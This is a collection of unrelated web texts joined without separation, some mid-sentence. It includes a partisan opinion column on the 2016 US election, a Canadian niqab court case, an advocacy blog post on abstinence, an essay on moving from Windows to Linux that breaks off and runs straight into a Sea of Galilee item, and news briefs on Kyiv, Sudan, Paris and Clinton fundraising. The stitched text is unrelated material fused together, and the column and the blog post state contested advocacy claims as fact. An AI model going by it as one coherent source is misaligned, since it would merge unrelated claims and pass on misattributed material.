By any reasonable standard, the 2016 election was deeply tainted. It wasn’t just the effects of Russian intervention on Mr. Trump’s behalf; Hillary Clinton would almost surely have won if the F.B.I. hadn’t conveyed the false impression that it had damaging new information about her, just days before the vote. This was grotesque, delegitimizing malfeasance, especially in contrast with the agency’s refusal to discuss the Russia connection.
Was there even more to it? Did the Trump campaign actively coordinate with a foreign power? Did a cabal within the F.B.I. deliberately slow-walk investigations into that possibility? Are the lurid tales about adventures in Moscow true? We don’t know, although Mr. Trump’s creepy obsequiousness to Vladimir Putin makes it hard to dismiss these allegations. Even given what we do know, however, no previous U.S. president-elect has had less right to the title. So why shouldn’t we question his legitimacy?
And talking frankly about how Mr. Trump gained power isn’t just about truth-telling. It may also help to limit that power.
It would be one thing if the incoming commander in chief showed any hint of humility, of realizing that his duty to the nation requires showing some respect for the strong majority of Americans who voted against him despite Russian meddling and the F.B.I.’s disinformation dump. But he hasn’t and won’t.
Instead, he’s lashing out at and threatening anyone and everyone who criticizes him, while refusing even to admit that he lost the popular vote. And he’s surrounding himself with people who share his contempt for everything that is best in America. What we’re looking at, all too obviously, is an American kakistocracy — rule by the worst.A Toronto woman whose fight to wear a niqab while testifying set a Canadian legal precedent is “disillusioned” after the Crown dropped sexual assault charges against two men, her lawyer says.
The Crown withdrew sexual assault charges against the men, who cannot be named because it would identify the woman, saying there was no reasonable prospect of conviction.
“She is extremely disillusioned that she will not even have an opportunity to have her allegations heard on their merits,” David Butt, the complainant’s lawyer, said on Monday.
“I’m probably only stating the obvious to say that these lengthy proceedings took an immense personal toll on her,” he said. “At some point perhaps in the future she may well wish to speak, and perhaps speak quite loudly, about… how those who self-identify as having suffered childhood sexual abuse are treated by the court system,” Mr. Butt said.
The 38-year-old woman, who can only be identified as N.S. due to a publication ban, alleged the two relatives sexually assaulted her when she was a child.
She is extremely disillusioned that she will not even have an opportunity to have her allegations heard
The woman’s case set a precedent after a judge ordered her to remove her religious veil while testifying in 2008. The case eventually went to the Supreme Court of Canada.
In December, 2012, the court ruled that in some cases, witnesses can wear a niqab while testifying, leaving it to trial judges to decide in individual cases. The following year, Justice Norris Weisman of the Ontario Court of Justice gave priority to the potential negative consequences for the accused if she didn’t bare her face.
“On a broader societal level, should the niqab impede effective cross-examination of the complainant by the accused’s counsel, they will not be able to assess the witness’s demeanour and tailor the thrust and direction of their questions accordingly,” Judge Weisman noted in his ruling. “Wrongful convictions could ensue with resulting loss of public confidence in the justice system.”
N.S. decided to “compromise” in early 2014, testifying without her niqab with the public excluded from the courtroom, said Mr. Butt.
The sexual assault case dates back 22 years to 1992, when N.S. first went to the police with a sexual assault complaint, said Enzo Battigaglia, a defence lawyer for one of the accused. The police investigated but did not lay charges, he said.
In 2007, N.S. went to police again, and charges were laid, Mr. Battigaglia said.
After a preliminary hearing, the case moved from the Ontario Court of Justice to the Superior Court of Justice. A trial date was about to be set when the Crown withdrew charges last Thursday.
“[My client] feels vindicated that they were dropped because he maintained his innocence for 22 years, from the time that she first made a complaint to the police,” Mr. Battigaglia said. He said the alleged victim lacked credibility.
“It’s only her word,” he said. “There’s no corroborative evidence whatsoever.”
These lengthy proceedings took an immense personal toll on her
Mr. Battigaglia and his client were in a Toronto courtroom Thursday to hear the Crown’s decision. Mr. Butt and N.S. were not present.
“He can move on with his life,” Mr. Battigaglia said, adding that his client is in his late 40s to early 50s.
Douglas Usher, defence lawyer for the other accused, said his client was relieved. The lawyer added the legal system has no checks or balances in cases of sexual assault claims.
“The policy of our times seems to be if a woman says a man has done something inappropriately with her, he’s going to get charged and that’s all there is to it,” he said. “That doesn’t happen in other charges. Police have to have reasonable, probable grounds.”
Mr. Butt said N.S. was not prepared to comment about the “niqab issue” and “how it relates to the withdrawal of the charge.”
Crown attorney Michael Cantlon did not respond to the National Post’s requests for an interview Monday.This blog is maintained by the Ruth Institute. It provides a place for our Circle of Experts to express themselves. This is where the scholars, experts, students and followers of the Ruth Institute engage in constructive dialogue about the issues surrounding the Sexual Revolution. We discuss public policy, social practices, legal doctrines and much more.
Study finds skyrocketing rate of abstinence among Millennials
Posted on Tuesday, January 17, 2017
by Ben Johnson
This article was first published August 3, 2016, at LifeSiteNews.
Think Millennials are the most sexually active generation in history? Think again, say the authors of a new study released on Monday.
The number of young adults born in the 1990s who report they are not having sex is more than twice as high as it was for the Baby Boomer generation, a sign they have learned from the fallout of the sexual revolution, experts tell LifeSiteNews.
The study found that 15 percent of Millenials aged 20-24 said they had not had sex since age 18, more than those born in the late 1960s (six percent), 1970s (11 percent) or 1980s (12 percent). That is lower than their fellow Millennials born in the previous decade.
The definition of “sex” is left up to the respondent to define. However, the number of women who were sexually abstinent as young adults tripled since the 1960s, while the number of men doubled, according to the study, which appeared in the Archives of Sexual Behavior.
"I think a lot of them are watching the adults around them and concluding that sex without limits is not making people happy," particularly "parents with multiple marriages and divorces,” Dr. Jennifer Roback Morse of The Ruth Institute told LifeSiteNews.
The study concludes that “the new sexual revolution has apparently left behind a larger segment of the generation than first thought.”
"The idea that these kids are 'left behind' by the sexual revolution is quite strange, as if they've somehow been sealed in a bomb shelter and never knew it happened,” Rebecca Oas, Ph.D., the associate director of research for the Center for Family and Human Rights (C-Fam), told LifeSiteNews. “More likely, they've seen that experiment running its course and decided they'd rather learn from someone else's mistakes instead of their own.”
The finding dovetails with CDC figures that show a majority of teenagers are choosing not to have sex. Only 41 percent of high school students reported sexual activity, a 13-point drop since 1991. Millennials also have a lower average number of sexual partners (eight) than either Baby Boomers (11) and Generation X (10).
Valerie Huber, the president of Ascend, told LifeSiteNews that her group – formerly the National Abstinence Education Association - “commissioned the Barna Group to survey 18 and 19 year olds and found similar results. The majority did not like the idea of ‘hooking up,’ and most of those who were not sexually experienced were waiting for a committed relationship."
Some do not know what to make of the results. The Washington Post wrote, "Delaying sex is not necessarily bad, experts say."
Numerous studies show having sex at a younger-than-average age leads to negative results, while delaying sexual activity and reducing the number of partners has positive outcomes.
Dana Haynie of Ohio State University found that early sexual activity increased delinquency by 20 percent. Experts have warned that earlier sexual activity can increase anxiety and negative psychological reactions, such as feeling used, especially for girls. A study in Pediatrics last year concluded that troubled children were more likely to begin having sex earlier in life, reinforcing the vicious circle.
Those who had sex later than average had higher incomes, educational achievement, and satisfaction in marriage, according to a 2012 report from Dr. Paige Harden of the University of Texas.
A 2014 report found that having multiple sexual partners and cohabitation before marriage decreased marital happiness after couples eventually tied the knot.
“We know that early sexual behavior tends to set a pattern for later behavior. The fact that more and more emerging adults are avoiding sex suggests they recognize that casual sex can compromise their life goals,” Huber told LifeSiteNews.
One young person told The Washington Post that, having seen so much sex depicted in pornography, "there really isn't anything magical about it” anymore.
Those who attend religious services are more likely to be abstinent, as well. "There was a significant increase in sexual inactivity among those who attend religious services once a week or more compared with those who do not,” Oas noted.
Huber said the most common reasons young people reported to Ascend for delaying sex were personal values and a focus on attaining their goals. She encouraged schools to teach Sexual Risk Avoidance (SRA) education - as opposed to Sexual Risk Reducation (SRR) or Comprehensive Sex Education, which present teen sexual activity as more normative.
The study notes, “abstinence-only sex education and virginity pledges became more popular (and federally funded) after the 1980s, especially between 1996 and 2009, when abstinence-only programs received large amounts of federal and state funding.” Studies have found that abstinence-based education reduces the overall teen sex rate.
“This new research suggests that our students have caught a positive and healthy vision for their futures,” she said. “It also means that we must, as a society, be more intentional on reinforcing this same healthy behavior for young, single adults."In the following article, I refer to the GNU/Linux OS and various Free & Open-Source Software (FOSS) projects under the catch-all name of "Linux". It scans better.
Derived works
If you've been pointed at this page, then the chances are you're a relatively new Linux user who's having some problems making the switch from Windows to Linux. This causes many problems for many people, hence this article was written. Many individual issues arise from this single problem, so the page is broken down into multiple problem areas.
Problem #1: Linux isn't exactly the same as Windows.
You'd be amazed how many people make this complaint. They come to Linux, expecting to find essentially a free, open-source version of Windows. Quite often, this is what they've been told to expect by over-zealous Linux users. However, it's a paradoxical hope.
The specific reasons why people try Linux vary wildly, but the overall reason boils down to one thing: They hope Linux will be better than Windows. Common yardsticks for measuring success are cost, choice, performance, and security. There are many others. But every Windows user who tries Linux, does so because they hope it will be better than what they've got.
Therein lies the problem.
It is logically impossible for any thing to be better than any other thing whilst remaining completely identical to it. A perfect copy may be equal, but it can never surpass. So when you gave Linux a try in hopes that it would be better, you were inescapably hoping that it would be different. Too many people ignore this fact, and hold up every difference between the two OSes as a Linux failure.
As a simple example, consider driver upgrades: one typically upgrades a hardware driver on Windows by going to the manufacturer's website and downloading the new driver; whereas in Linux you upgrade the kernel.
This means that a single Linux download & upgrade will give you the newest drivers available for your machine, whereas in Windows you would have to surf to multiple sites and download all the upgrades individually. It's a very different process, but it's certainly not a bad one. But many people complain because it's not what they're used to.
Or, as an example you're more likely to relate to, consider Firefox: One of the biggest open-source success stories. A web browser that took the world by storm. Did it achieve this success by being a perfect imitation of IE, the then-most-popular browser?
No. It was successful because it was better than IE, and it was better because it was different. It had tabbed browsing, live bookmarks, built-in searchbar, PNG support, adblock extensions, and other wonderful things. The "Find" functionality appeared in a toolbar at the bottom and looked for matches as you typed, turning red when you had no match. IE had no tabs, no RSS functionality, searchbars only via third-party extensions, and a find dialogue that required a click on "OK" to start looking and a click on "OK" to clear the "Not found" error message. A clear and inarguable demonstration of an open-source application achieving success by being better, and being better by being different. Had FF been an IE clone, it would have vanished into obscurity. And had Linux been a Windows clone, the same would have happened.
So the solution to problem #1: Remember that where Linux is familiar and the same as what you're used to, it isn't new & improved. Welcome the places where things are different, because only here does it have a chance to shine.
Problem #2: Linux is too different from Windows
The next issue arises when people do expect Linux to be different, but find that some differences are just too radical for their liking. Probably the biggest example of this is the sheer amount of choice available to Linux users. Whereas an out-of-the-box-Windows user has the Classic or XP desktop with Wordpad, Internet Explorer, and Outlook Express installed, an out-of-the-box-Linux user has hundreds of distros to choose from, then Gnome or KDE or Fluxbox or whatever, with vi or emacs or kate, Konqueror or Opera or Firefox or Mozilla, and so on and so forth.
A Windows user isn't used to making so many choices just to get up & running. Exasperated "Does there have to be so much choice?" posts are very common.
Does Linux really have to be so different from Windows? After all, they're both operating systems. They both do the same job: Power your computer & give you something to run applications on. Surely they should be more or less identical?
Look at it this way: Step outside and take a look at all the different vehicles driving along the road. These are all vehicles designed with more or less the same purpose: To get you from A to B via the roads. Note the variety in designs.
But, you may be thinking, car differences are really quite minor: they all have a steering wheel, foot-pedal controls, a gear stick, a handbrake, windows & doors, a petrol tank... If you can drive one car, you can drive any car!
Quite true. But did you not see that some people weren't driving cars, but were riding motorbikes instead..?
Switching from one version of Windows to another is like switching from one car to another. Win95 to Win98, I honestly couldn't tell the difference. Win98 to WinXP, it was a bigger change but really nothing major.
But switching from Windows to Linux is like switching from a car to a motorbike. They may both be OSes/road vehicles. They may both use the same hardware/roads. They may both provide an environment for you to run applications/transport you from A to B. But they use fundamentally different approaches to do so.
Windows/cars are not safe from viruses/theft unless you install an antivirus/lock the doors. Linux/motorbikes don't have viruses/doors, so are perfectly safe without you having to install an antivirus/lock any doors.
Or look at it the other way round:
Linux/cars were designed from the ground up for multiple users/passengers. Windows/motorbikes were designed for one user/passenger. Every Windows user/motorbike driver is used to being in full control of his computer/vehicle at all times. A Linux user/car passenger is used to only being in control of his computer/vehicle when logged in as root/sitting in the driver's seat.
Two different approaches to fulfilling the same goal. They differ in fundamental ways. They have different strengths and weaknesses: A car is the clear winner at transporting a family & a lot of cargo from A to B: More seats & more storage space. A motorbike is the clear winner at getting one person from A to B: Less affected by congestion and uses less fuel.
There are many things that don't change when you switch between cars and motorbikes: You still have to put petrol in the tank, you still have to drive on the same roads, you still have to obey the traffic lights and Stop signs, you still have to indicate before turning, you still have to obey the same speed limits.
But there are also many things that do change: Car drivers don't have to wear crash helmets, motorbike drivers don't have to put on a seatbelt. Car drivers have to turn the steering wheel to get around a corner, motorbike drivers have to lean over. Car drivers accelerate by pushing a foot-pedal, motorbike drivers accelerate by twisting a hand control.
A motorbike driver who tries to corner a car by leaning over is going to run into problems very quickly. And Windows users who try to use their existing skills and habits generally also find themselves having many issues. In fact, Windows "Power Users" frequently have more problems with Linux than people with little or no computer experience, for this very reason. Typically, the most vehement "Linux is not ready for the desktop yet" arguments come from ingrained Windows users who reason that if they couldn't make the switch, a less-experienced user has no chance. But this is the exact opposite of the truth.
So, to avoid problem #2: Don't assume that being a knowledgeable Windows user means you're a knowledgeable Linux user: When you first start with Linux, you are a novice.
Problem #3: Culture shock
Subproblem #3a: There is a culture
Windows users are more or less in a customer-supplier relationship: They pay for software, for warranties, for support, and so on. They expect software to have a certain level of usability. They are therefore used to having rights with their software: They have paid for technical support and have every right to demand that they receive it. They are also used to dealing with entities rather than people: Their contracts are with a company, not with a person.
Linux users are in more of a community. They don't have to buy the software, they don't have to pay for technical support. They download software for free & use Instant Messaging and web-based forums to get help. They deal with people, not corporations.
A Windows user will not endear himself by bringing his habitual attitudes over to Linux, to put it mildly.
The biggest cause of friction tends to be in the online interactions: A "3a" user new to Linux asks for help with a problem he's having. When he doesn't get that help at what he considers an acceptable rate, he starts complaining and demanding more help. Because that's what he's used to doing with paid-for tech support. The problem is that this isn't paid-for support. This is a bunch of volunteers who are willing to help people with problems out of the goodness of their hearts. The new user has no right to demand anything from them, any more than somebody collecting for charity can demand larger donations from contributors.
In much the same way, a Windows user is used to using commercial software. Companies don't release software until it's reliable, functional, and user-friendly enough. So this is what a Windows user tends to expect from software: It starts at version 1.0. Linux software, however, tends to get released almost as soon as it's written: It starts at version 0.1. This way, people who really need the functionality can get it ASAP; interested developers can get involved in helping improve the code; and the community as a whole stays aware of what's going on.
If a "3a" user runs into trouble with Linux, he'll complain: The software hasn't met his standards, and he thinks he has a right to expect that standard. His mood won't be improved when he gets sarcastic replies like "I'd demand a refund if I were you"
So, to avoid problem #3a: Simply remember that you haven't paid the developer who wrote the software or the people online who provide the tech support. They don't owe you anything.
Subproblem #3b: New vs. Old
Linux pretty much started out life as a hacker's hobby. It grew as it attracted more hobbyist hackers. It was quite some time before anybody but a geek stood a chance of getting a useable Linux installation working easily. Linux started out "By geeks, for geeks." And even today, the majority of established Linux users are self-confessed geeks.
And that's a pretty good thing: If you've got a problem with hardware or software, having a large number of geeks available to work on the solution is a definite plus.
But Linux has grown up quite a bit since its early days. There are distros that almost anybody can install, even distros that live on CDs and detect all your hardware for you without any intervention. It's become attractive to non-hobbyist users who are just interested in it because it's virus-free and cheap to upgrade. It's not uncommon for there to be friction between the two camps. It's important to bear in mind, however, that there's no real malice on either side: It's lack of understanding that causes the problems.
Firstly, you get the hard-core geeks who still assume that everybody using Linux is a fellow geek. This means they expect a high level of knowledge, and often leads to accusations of arrogance, elitism, and rudeness. And in truth, sometimes that's what it is. But quite often, it's not: It's elitist to say "Everybody ought to know this". It's not elitist to say "Everybody knows this" - quite the opposite.
Secondly, you get the new users who're trying to make the switch after a lifetime of using commercial OSes. These users are used to software that anybody can sit down & use, out-of-the-box.
The issues arise because group 1 is made up of people who enjoy being able to tear their OS apart and rebuild it the way they like it, while group 2 tends to be indifferent to the way the OS works, so long as it does work.
A parallel situation that can emphasize the problems is Lego. Picture the following:
New: I wanted a new toy car, and everybody's raving about how great Lego cars can be. So I bought some Lego, but when I got home, I just had a load of bricks and cogs and stuff in the box. Where's my car??
Old: You have to build the car out of the bricks. That's the whole point of Lego.
New: What?? I don't know how to build a car. I'm not a mechanic. How am I supposed to know how to put it all together??
Old: There's a leaflet that came in the box. It tells you exactly how to put the bricks together to get a toy car. You don't need to know how, you just need to follow the instructions.
New: Okay, I found the instructions. It's going to take me hours! Why can't they just sell it as a toy car, instead of making you have to build it??
Old: Because not everybody wants to make a toy car with Lego. It can be made into anything we like. That's the whole point.
New: I still don't see why they can't supply it as a car so people who want a car have got one, and other people can take it apart if they want to. Anyway, I finally got it put together, but some bits come off occasionally. What do I do about this? Can I glue it?
It's Lego. It's designed to come apart. That's the whole point.
Old:
New: But I don't want it to come apart. I just want a toy car!
Then why on Earth did you buy a box of Lego??
Old:
It's clear to just about anybody that Lego is not really aimed at people who just want a toy car. You don't get conversations like the above in real life. The whole point of Lego is that you have fun building it and you can make anything you like with it. If you've no interest in building anything, Lego's not for you. This is quite obvious.
As far as the long-time Linux user is concerned, the same holds true for Linux: It's an open-source, fully-customizeable set of software. That's the whole point. If you don't want to hack the components a bit, why bother to use it?
But there's been a lot of effort lately to make Linux more suitable for the non-hackers, a situation that's not a million miles away from selling pre-assembled Lego kits, in order to make it appeal to a wider audience. Hence you get conversations that aren't far away from the ones above: Newcomers complain about the existence of what the established users consider to be fundamental features, and resent having the read a manual to get something working. But complaining that there are too many distros; or that software has too many configuration options; or that it doesn't work perfectly out-of-the-box; is like complaining that Lego can be made into too many models, and not liking the fact that it can be broken down into bricks and built into many other things.
So, to avoid problem #3b: Just remember that what Linux seems to be now is not what Linux was in the past. The largest and most necessary part of the Linux community, the hackers and the developers, like Linux because they can fit it together the way they like; they don't like it in spite of having to do all the assembly before they can use it.
Problem #4: Designed for the designer
In the car industry, you'll very rarely find that the person who designed the engine also designed the car interior: It calls for totally different skills. Nobody wants an engine that only looks like it can go fast, and nobody wants an interior that works superbly but is cramped and ugly. And in the same way, in the software industry, the user interface (UI) is not usually created by the people who wrote the software.
In the Linux world, however, this is not so much the case: Projects frequently start out as one man's toy. He does everything himself, and therefore the interface has no need of any kind of "user friendly" features: The user knows everything there is to know about the software, he doesn't need help. Vi is a good example of software deliberately created for a user who already knows how it works: It's not unheard of for new users to reboot their computers because they couldn't figure out how else to get out of vi.
However, there is an important difference between a FOSS programmer and most commercial software writers: The software a FOSS programmer creates is software that he intends to use. So whilst the end result might not be as 'comfortable' for the novice user, they can draw some comfort in knowing that the software is designed by somebody who knows what the end-users needs are: He too is an end-user. This is very different from commercial software writers, who are making software for other people to use: They are not knowledgeable end-users.
So whilst vi has an interface that is hideously unfriendly to new users, it is still in use today because it is such a superb interface once you know how it works. Firefox was created by people who regularly browse the Web. The |
Sea of Galilee is a tectonically active region, meaning the bottom of the lake, and therefore the structure, may have shifted over time. The team intends to investigate further to increase the understanding of past tectonic movements, the accumulation of sediment, and the changing water levels throughout history.
Image 2 (below): An underwater photo shows the structure is made of basalt boulders. Photo: Shmulik Marco.
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commentsJOHANNESBURG - Two of the three men arrested after the break-in at the office of the Chief Justice have appeared in court.
The third suspect will appear at a later date.
Given Msimango and BigBoy Yose have not been charged with the burglary.
Their charges include possession of stolen goods, fake IDs, as well as unlicensed firearms.
They'll stay in custody until their bail application on 30 March.
#OCJburglary Bail application date is set. Suspects remain in custody. pic.twitter.com/e5EB0TlPW4 — eNCA (@eNCA) March 22, 2017
Meanwhile, police are still searching for Nkosinathi Msimango.
It's believed he could help recover the 15 stolen computers containing private information about judges and officials.
Lawyer confirms Given Msimango is the brother of Nkosinathi Msimango - man police say can lead them to #OCJ computers but isn't suspect — Karyn Maughan (@karynmaughan) March 22, 2017
Msimango was in the Mamelodi area when the arrests took place.
Tweets about #OCJburglary AND (FROM:@karynmaughan since:2017-03-22 until:2017-03-23)The Maidan revolution has thrown Ukraine from the “blue” developmental level of neo-feudalism into the “orange” level of free market, representative democracy, Pekar wrote in a recent article, “and has allowed us to see through the flames into the ‘green’ level”—the crowd-funded, post-capitalist, self-governing, wiki-politics of the future.
It’s the Maidan itself, which is situated at the very center of the Ukrainian capital, that serves as the crucible for this revolution. When I arrived in the city, months after the violence that unseated Yanukovych, to attend an international conference about “the meaning of Ukrainian pluralism for Europe, Russia and the world,” the square was still occupied by revolutionaries cutting off traffic (“We’re making a new country, sorry for the jams,” a taxi driver told me). Massive tents are still pitched in the middle of the street, pinned to the asphalt. Towering barricades of tires, rocks, and rubble are everywhere, as if the very fabric of the city rose up and rebelled. Opposite sushi bars lie piles of chopped-up tree trunks for firewood. Metal ovens cook great vats of soup. Improvised shrines and hospitals sport fluttering flags.
If Kiev’s layout can be transformed, can’t all of society?
***
Every tent on the Maidan, it seems, houses its own ideology: anarchists hand out pages of Kropotkin; young Cossacks, their heads shaved with one forelock dangling, practice fighting with metal poles and talk of reintroducing Cossack governance (“It’s direct democracy,” one tells me). There are priests calling for Ukraine’s spiritual rebirth, agrarian socialists, Euro-idealists. And there is the Right Sector, the right-wing, nationalist group whose members were among the Maidan’s violent avant-garde during the overthrow of Yanukovych.
“You can’t get away from genetics: Ukraine’s ancestors, the people who lived in this region, had a dominant DNA code of R1a1. They fought mammoths. It’s the warrior gene. That’s the genetics of Maidan,” said Yaroslav Babych, one of the Right Sector’s leaders, as we drank iced tea in Cafe Cossack on Shevchenko Lane, just off the Maidan. “We’re pagans,” he continued, “we worship DNA.”
Babych’s day job is as a lawyer in a Ukrainian investment company (“There’s nothing to invest in here,” he told me when I asked for a tip), but we met over the weekend and he was wearing a ring with ancient runic lettering and a T-shirt that said ‘Slavs.’
“What about those in eastern Ukraine and Donbas who have rejected the revolution?” I asked. The news that day was of Kiev losing control of cities in the Donbas region to pro-Russian separatists, and of Ukrainian police and army divisions defecting.
“A lot of people in the Donbas are Russians who were moved to the region after Stalin’s enforced famine wiped out the Ukrainians. They have different genes,” he responded.
The Right Sector has been a godsend to the Kremlin, whose propaganda has heralded the group as the fascist core of the Maidan, out to terrorize ethnic Russians in the east of the country. Unfortunately for Moscow, the Right Sector flopped in Ukraine’s presidential elections in May, mustering just 1 percent of the vote. The organization’s brand of pagan-DNA nationalism may be a fringe view, but its tents on the Maidan are still among the busiest.TUSCALOOSA, Ala. – Alabama men's basketball head coach Avery Johnson announced that his team will host an open practice for the public from 6-7 p.m. CT on Wednesday, Aug. 2, at Coleman Coliseum. The 2017-18 Crimson Tide squad will be making final preparations for its eight-day, three-game trip to Canada, which will begin on Friday, Aug. 4.
Fans will be allowed to enter through the main entrance to Coleman Coliseum and can sit anywhere throughout the building to watch the team practice. Coach Johnson will be mic'd up during the hour-long session and will also hold and question and answer session following practice.
Further details and promotions surrounding the event will be announced at a later time.
Alabama, which is ranked No. 22 in the nation in USA Today's preseason top-25 poll, welcomes back four starters and seven letterwinners from last season's team that reached the National Invitation Tournament. The Tide returns 74 percent of its total scoring output, 58 percent of its rebounding and 77 percent of its assist totals from a year ago.
In addition to the returning firepower, Johnson welcomes a heralded signing class, ranked as high as No. 5 nationally, that will be on full display for the first time when the team takes the floor in Canada. Furthermore, 6-11, 240-pound forward/center Daniel Giddens, who sat out last season after transferring to the Capstone from Ohio State, is allowed to suit up for the Tide this season.
Alabama will play a total of three games against three Canadian Universities throughout its time in Montreal and Ottawa. The first game will be played on Aug. 7 against McGill University at 7 p.m. ET (6 p.m. CT) in Montreal. The Tide will then play a pair of games in Ottawa, beginning with a contest on Aug. 9 at Carleton University at 7 p.m. ET (6 p.m. CT) followed by facing the University of Ottawa on Aug. 10 at 6:30 p.m. ET (5:30 p.m. CT).
Deposits for 2017-18 men's basketball season tickets are currently being accepted by The University of Alabama TIDE PRIDE/Ticket Office. Fans can click HERE for more information or to make their deposit today.
For all the latest information on the team, follow AlabamaMBB on Twitter, Instagram and Facebook. General athletic news can be found @UA_Athletics on Twitter and Instagram and Alabama Athletics on Facebook.The remains and personal belongings of a tourist reported missing two-and-a-half years ago have been found.
Tom Billings was visiting Vancouver in late November of 2013. He was last seen on East Broadway near McLean Drive at about 9:00 a.m. on November 25th. The 22-year-old seasoned traveller and avid hiker had been spending eight weeks travelling in North America. He was reported missing a week after he was last seen, when he failed to complete his travel plans.
Investigators with the VPD Missing Persons Unit obtained information that indicated Tom had gone to the mountains on the North Shore. It was believed he had become lost or injured, but a large-scale search that followed his disappearance failed to find any trace of him.
On April 11th, 2016, a hiker on Cypress Mountain spotted what he believed to be human remains and reported this discovery to the police. North Shore Search and Rescue returned to the area and completed the recovery.
Through DNA identification, it was confirmed yesterday that it was the human remains of Tom Billings that were found. The Coroners Service continues to investigate this death. Foul play is not suspected.
Vancouver Police Missing Persons investigators have been in regular contact with the Billings family from the day Tom was reported missing. Shortly after 9:00 last night, police made the call to Tom’s parents. In a two-hour conversation, the Billings were provided with the sad news and details.
The Billings family and the VPD are asking that you respect their privacy at this very difficult time. They have asked the Vancouver Police to share the following:
The family wants to thank the general public for the support and assistance in the search to find their son Tom over the last 2 1/2 years. The family specifically wishes to express their deepest appreciation to the members of the North Shore Search and Rescue team and the helicopter pilots of Talon Aviation, the staff and members of the British consulate in Vancouver for all their continued support, and finally to the VPD in general and the Missing Persons Unit in particular for their continued and persistent work to find their son Tom.SOMETIMES too much love can be a bad thing — as Paris discovered when thousands of “locks of love” attached to a footbridge caused part of a railing to collapse.
Thousands of lovers from across the world visit the Pont des Arts every year and seal their love by attaching a lock carrying their names to its railing and throwing the key in the Seine.
But police were forced to hurriedly usher visitors off the footbridge in central Paris at the weekend after 2.4m of railing collapsed under the weight of the collected love tokens.
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media_camera The Pont des Arts bridge is a popular spot for lovers from all around the world to leave a symbol of their relationship. Picture: Thinkstock
“The bridge was immediately evacuated and closed,” local police said.
An architect and local officials rushed to the site and a barrier was put up to stop further access. Police said the bridge would be reopened on Monday, local time.
media_camera Love locks have grown in popularity around the world. Picture: Thinkstock
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The Pont des Arts crosses the French capital’s river Seine just in front of the Louvre museum and is known the world over for its “locks of love”.
The phenomenon has become something of a headache for officials in the City of Light, who would prefer something that poses fewer problems of security and aesthetics.
Two young Americans living in Paris have gathered thousands of signatures for a petition they launched in March calling for the locks to be removed, saying they are eyesores and cause damage to the bridges.
The end of romance? Buddymoons take over
The locks only appeared on the Pont des Arts in 2008, having already become a craze in Germany, Russia, China and particularly Italy.
Now the full 150m length of the footbridge is covered in the locks, and the custom has spread to other bridges around the capital.
Forty locks were recently removed from the Eiffel Tower.
Ready for a holiday? Win a million frequent flyer pointsSudan's army has recaptured areas in the western region of Darfur and South Kordofan regions from rebels, a military spokesman has said, adding that a number of soldiers were killed and wounded in the fighting.
Darfur has been embroiled in conflict since mainly non-Arab tribes took up arms in 2003 against the Arab-led government in Khartoum, accusing it of discrimination.
Darfur rebels have since joined forces with groups in the southern provinces of Blue Nile and South Kordofan, where an
armed rebellion is raging, mounted mostly by ex-civil war fighters left in Sudan after the south seceded in 2011.
"The armed forces managed on Monday evening to drive the remnants of the so-called Sudan Liberation Movement rebel faction led by Arko Minawi out of Abu Liha area in North Darfur State," army spokesman al-Sawarmi Khalid said in a statement, adding that the army also retook the area of Abu Gamra.
In South Kordofan, the country's main oil-producing state, the army said it recaptured the two areas of Alqineziah, northeast of the town of Kadugli, and Angarto in the east of Kauda region.
"The rebels suffered heavy losses in lives and equipment," the army spokesman said, adding that 100 rebel fighters were killed in Angarto. "The armed forces lost a number of martyrs and wounded."
In more than a decade of fighting in Darfur, the UN says more than 300,000 people have been killed and more than two million displaced.New York (CNN) Hillary Clinton and family are spending much of April on the fundraising circuit.
The Democratic front-runner will travel to Florida on Tuesday to raise money, headlining three fundraisers in the Sunshine State in the middle of her fight to win the New York primary on April 19. Former President Bill Clinton and daughter Chelsea Clinton have five more events scheduled this month as well.
The events highlight an issue for Clinton: In order to raise the money needed to keep her campaign on track, Clinton has to invest considerable time by making personal appearances at events across the country.
From January to March, Clinton-headlined events -- 48 fundraisers in 19 different states -- brought in more than $30 million, according to CNN estimates. Overall, Clinton's campaign says it raised $75 million during the first three months of 2016.
All of these events raised primary dollars, money that Clinton will need to compete in the longer-than-expected race against Vermont Sen. Bernie Sanders, a candidate who raises most of his money online and he used Clinton's fundraising as something with which to attack the former secretary of state. These funds will also, though, be available for Clinton's possible general election campaign.
Sanders and his top aides have insinuated that Clinton's fundraising makes her susceptible to being influenced by powerful interests that choose to donate to her campaign. Sanders said earlier this month that Clinton's fundraising from Wall Street and other interests is one of the reasons the former secretary of state is not qualified to be president. He later backed off the claim.
Clinton's most high profile of the fundraising of the month will come this weekend when the former senator travels to California for two events with George Clooney, the famed actor, and his wife Amal, a renowned human rights lawyer.
Clinton's first event with the Clooneys will be hosted by Shervin Pishevar, a venture capitalist who is the founder of Sherpa Ventures and is a special adviser to Uber. More than 1,000 Sanders supporters have said on Facebook that they plan to protest outside Pishevar's home during the fundraiser. Clinton and the Clooneys will then travel to Los Angeles, where the actor will host guests at his Studio City home for another fundraiser.
Raising money for the DNC
Clinton starts her fundraising day Tuesday with an event at the Manalapan, Florida, home of Marsha and Henry Laufer, the VP of research at Renaissance Technologies.
This event will also benefit the Hillary Victory Fund, the joint fundraising venture between Clinton's campaign, the DNC and state parties that allow Clinton to raise money for down-ballot Democrats. Clinton backers have touted the events - and the fact Clinton is raising money for other Democrats - as a notable difference to Sanders, who has, to date, raised close to nothing for the party.
The Clooney events will also benefit the Hillary Victory Fund.
Sanders aides did not respond to comment when asked why they have not raised money for the Democratic National Committee or state parties.
Clinton then heads to Miami, where she will headline an event with Rep. Joaquin Castro, a key Latino surrogate and the brother of HUD Secretary Julian Castro, someone many Democrats believe could be Clinton's running mate. The event includes a performance by singer Carole King.
And lastly, Clinton will headline an event at the Miami Beach home of Alex Heckler, a government law attorney and well known Democratic donor, and his wife, Tiffany.
Clinton has so far headlined seven fundraisers in April, including three in New York, and one each in Colorado, Ohio, New Jersey and Virginia.
She attended two events on Monday in New York, one near her Chappaqua home in Mount Kisco, New York, and another on Long Island in Glen Cove, New York. A fundraiser Sunday at the home of Virginia Gov. Terry McAuliffe and first lady Dorothy drew around 525 attendees who paid between $1,000 and $2,700.
Clinton also headlined fundraisers in Ohio and Colorado on April 7, an event in the Bronx on April 5 and a 125 person fundraiser in Tenafly, New Jersey on April 1.
Bill Clinton, top campaign aides also hitting the money circuit
Clinton's campaign has also started to lean on other members of the political family and top aides to bring in cash.
Bill Clinton will headline fundraising events in Washington, D.C. and Massachusetts this week, as well as an event in Connecticut on April 21, according to invitations obtained by CNN. Chelsea Clinton, the former first daughter, headlined events in Oklahoma and Texas earlier this month and will appear in Pennsylvania and New Jersey later this month.
